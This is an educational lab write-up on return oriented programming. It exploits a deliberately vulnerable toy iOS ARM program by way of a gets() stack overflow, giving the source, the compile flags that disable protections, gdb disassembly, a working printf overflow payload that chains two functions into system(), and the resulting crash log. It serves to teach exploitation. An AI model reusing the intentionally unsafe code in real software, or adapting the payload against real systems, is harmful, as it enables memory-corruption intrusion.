0x03 Return Oriented Programming
Assembler
Assembly language is based on registers, that can store data or addresses, and each assembly instruction manipulate these registers in some way.
Most disassembled function have three common stages: start, main body and ending. Start pushes some values onto the stack, main body contains most of calculations, prints etc, ending pops some values off the stack back into some registers.
Return Oriented Programming
Return Oriented Programming, ROP, is an exploitation technique used to develop iOS exploits. It works by chaining together some parts of existing application code, that end in a return instruction, in order to perform a task designed by attacker. ROP involves parts of existing code so we know that the code will be executable. Jailbreak exploits have to be written entirely in ROP.
Gadgets are useful groups of assembly instructions that can be used in ROP. In ROP it is important to understand more of assembly code than we needed in previous test, to be able to analyse code and find gadgets.
On ARM, unlike other architectures, there is no ret
instruction, ARM return instructions manually move a value into the pc
. In example pop {r7, pc}
from previous tests acts as a return instruction.
Ok, so let’s try to chain some parts of functions together and take advantage of ROP.
0x03.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char string[] = "echo date";
void change(){
strcpy(string,"uname -a");
printf("You changed string to execute ;)\n");
}
void hidden(){
printf("Executing hidden function..\n");
system(string);
}
int main() {
printf("0x03 ROP\n");
printf("enter some data:\n");
char buff[12];
gets(buff);
printf("You entered: %s\n", buff);
return 0;
}
Compile and sign:
$ clang 0x03.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x03
$ ldid -S 0x03
Normal run of this app should be:
$ ./0x03
0x03 ROP
enter some data:
warning: this program uses gets(), which is unsafe.
123
You entered: 123
We are already warned by our program that it uses unsafe function, but we’ll proceed with that, just for testing purposes ;) Let’s analyse program and it’s functions:
$ gdb 0x03
(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000be34 change
0x0000be78 hidden
0x0000beb0 main
0x0000bf24 stub helpers
0x0000bff0 dyld_stub___strcpy_chk
0x0000bff4 dyld_stub_gets
0x0000bff8 dyld_stub_printf
0x0000bffc dyld_stub_system
(gdb) disass main
Dump of assembler code for function main:
0x0000beb0 <main+0>: 80 40 2d e9 push {r7, lr}
0x0000beb4 <main+4>: 0d 70 a0 e1 mov r7, sp
0x0000beb8 <main+8>: 20 d0 4d e2 sub sp, sp, #32 ; 0x20
0x0000bebc <main+12>: c0 0f 0b e3 movw r0, #49088 ; 0xbfc0
0x0000bec0 <main+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000bec4 <main+20>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000bec8 <main+24>: 04 10 07 e5 str r1, [r7, #-4]
0x0000becc <main+28>: 49 00 00 eb bl 0xbff8
0x0000bed0 <main+32>: ca 1f 0b e3 movw r1, #49098 ; 0xbfca
0x0000bed4 <main+36>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000bed8 <main+40>: 0c 00 8d e5 str r0, [sp, #12]
0x0000bedc <main+44>: 01 00 a0 e1 mov r0, r1
0x0000bee0 <main+48>: 44 00 00 eb bl 0xbff8
0x0000bee4 <main+52>: 10 10 8d e2 add r1, sp, #16 ; 0x10
0x0000bee8 <main+56>: 08 00 8d e5 str r0, [sp, #8]
0x0000beec <main+60>: 01 00 a0 e1 mov r0, r1
0x0000bef0 <main+64>: 3f 00 00 eb bl 0xbff4
0x0000bef4 <main+68>: dc 1f 0b e3 movw r1, #49116 ; 0xbfdc
0x0000bef8 <main+72>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000befc <main+76>: 10 20 8d e2 add r2, sp, #16 ; 0x10
0x0000bf00 <main+80>: 04 00 8d e5 str r0, [sp, #4]
0x0000bf04 <main+84>: 01 00 a0 e1 mov r0, r1
0x0000bf08 <main+88>: 02 10 a0 e1 mov r1, r2
0x0000bf0c <main+92>: 39 00 00 eb bl 0xbff8
0x0000bf10 <main+96>: 00 10 00 e3 movw r1, #0 ; 0x0
0x0000bf14 <main+100>: 00 00 8d e5 str r0, [sp]
0x0000bf18 <main+104>: 01 00 a0 e1 mov r0, r1
0x0000bf1c <main+108>: 07 d0 a0 e1 mov sp, r7
0x0000bf20 <main+112>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
(gdb) disass change
Dump of assembler code for function change:
0x0000be34 <change+0>: 80 40 2d e9 push {r7, lr}
0x0000be38 <change+4>: 0d 70 a0 e1 mov r7, sp
0x0000be3c <change+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be40 <change+12>: 18 00 0c e3 movw r0, #49176 ; 0xc018
0x0000be44 <change+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be48 <change+20>: 78 1f 0b e3 movw r1, #49016 ; 0xbf78
0x0000be4c <change+24>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be50 <change+28>: 0a 20 00 e3 movw r2, #10 ; 0xa
0x0000be54 <change+32>: 65 00 00 eb bl 0xbff0
0x0000be58 <change+36>: 81 1f 0b e3 movw r1, #49025 ; 0xbf81
0x0000be5c <change+40>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be60 <change+44>: 04 00 8d e5 str r0, [sp, #4]
0x0000be64 <change+48>: 01 00 a0 e1 mov r0, r1
0x0000be68 <change+52>: 62 00 00 eb bl 0xbff8
0x0000be6c <change+56>: 00 00 8d e5 str r0, [sp]
0x0000be70 <change+60>: 07 d0 a0 e1 mov sp, r7
0x0000be74 <change+64>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
(gdb) disass hidden
Dump of assembler code for function hidden:
0x0000be78 <hidden+0>: 80 40 2d e9 push {r7, lr}
0x0000be7c <hidden+4>: 0d 70 a0 e1 mov r7, sp
0x0000be80 <hidden+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be84 <hidden+12>: a3 0f 0b e3 movw r0, #49059 ; 0xbfa3
0x0000be88 <hidden+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be8c <hidden+20>: 59 00 00 eb bl 0xbff8
0x0000be90 <hidden+24>: 18 10 0c e3 movw r1, #49176 ; 0xc018
0x0000be94 <hidden+28>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be98 <hidden+32>: 04 00 8d e5 str r0, [sp, #4]
0x0000be9c <hidden+36>: 01 00 a0 e1 mov r0, r1
0x0000bea0 <hidden+40>: 55 00 00 eb bl 0xbffc
0x0000bea4 <hidden+44>: 00 00 8d e5 str r0, [sp]
0x0000bea8 <hidden+48>: 07 d0 a0 e1 mov sp, r7
0x0000beac <hidden+52>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
Now it’s time for manipulating input data and analysing the crashlog. We know (or we could have find that in testing) that our buffer is declared for 12 characters and that FFFF
are being written to program counter pc
. We will swap it for second instruction of change()
function (mov r7, sp
). Jumping to second instruction will let us avoid initial push
instruction, so we can set up the stack with return values pointing to secret()
function.
Then we need to add to fill r7
register with whatever (so anything like 0xffffffff
will do to see it in logs eventually), and then we’ll give address to hidden()
function.
String to contruct should be considered as: some offset value + address of change() + offset value + addres of secret()
So after much much testing, string to supply for my program was:
$ printf "AAAABBBBCCCCDDDDEEEE\x38\xbe\x00\x00\xff\xff\xff\xff\x78\xbe\x00\x00" | ./0x03
0x03 ROP
enter some data:
warning: this program uses gets(), which is unsafe.
You entered: AAAABBBBCCCCDDDDEEEE8?
You changed string to execute ;)
Executing hidden function..
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10
Yeah we got it 😎 chained together two functions and got them executed as intended: changed executed command string to uname -a
and run hidden()
funtion.
And quick last look at the crash log:
$ cat /var/mobile/Library/Logs/CrashReporter/0x03-2020-08-12-144840.ips
Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0xffffffff
Termination Signal: Bus error: 10
Thread 0 crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0xd26300a2 r3: 0x00000103
r4: 0x00000000 r5: 0x0000beb0 r6: 0x00000000 r7: 0xffffffff
r8: 0x001d8d50 r9: 0x00000000 r10: 0x00000000 r11: 0x00000000
ip: 0x3a051398 sp: 0xffffffff lr: 0x00000000 pc: 0x0000be74
cpsr: 0x60000010